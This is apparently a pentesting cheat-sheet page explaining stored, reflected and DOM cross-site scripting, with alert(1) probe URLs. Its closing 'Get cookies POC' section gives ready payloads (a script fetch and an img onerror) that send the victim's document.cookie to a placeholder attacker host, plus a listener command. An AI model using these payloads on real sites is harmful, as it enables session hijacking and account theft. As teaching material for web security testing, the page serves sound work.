XSS - Cross site scripting

Stored XSS

Pretty much the best. Your arbitrary, hopefully executable, code gets saved at the server end. "Infection" rate can get crazy high, crazy fast because of the deliverability.

A malicious actor could craft javascript code that exfiltrate private data that is usually hidden behind logins. Example:

Imagine being able to store XSS on Facebook via a public advertisement or a simple public post. Any users with javascript enabled(90% of users), that sees this ad or post will then execute this code. This could lead to users getting their private info leaked such as messages, pictures, addresses, getting their session hijacked, getting their account stolen, etc.

Reflected XSS

Not as bad as stored but still very dangerous. User input is reflected in the browser but not stored on the server. Example:

Imagine making a GET request with a parameter Redirect, and crafting such url:

https://book.turbosec.net/somedir/somepage.php?Redirect=<script>alert(1);</script>

If a javascript alert appears, the browser is executing arbitrary code. This could lead to users getting tricked into clicking a malicious link which could then trigger a custom javascript code that attempt to steal session cookies or worst.

DOM XSS

Not as bad as stored again but still. DOM XSS differ from reflected by being able to manipulate html data and having the possibility to not even reach the server and stay within the browser.

Imagine making a GET request with a parameter User, and crafting such url:

https://book.turbosec.net/somedir/somepage.php?User=Alice#<script>alert(1);</script>

Notice the correct user and then the pound sign, anything after # is not sent to the server.

Get cookies POC

Create a web server to handle requests, inject xss into webpage, profit

python -m http.server
</textarea><script>fetch('http://<your-ip/url>?cookie=' + btoa(document.cookie) );</script>
<img src=x onerror=this.src="http://<your-ip>>/?c="+document.cookie>

Last updated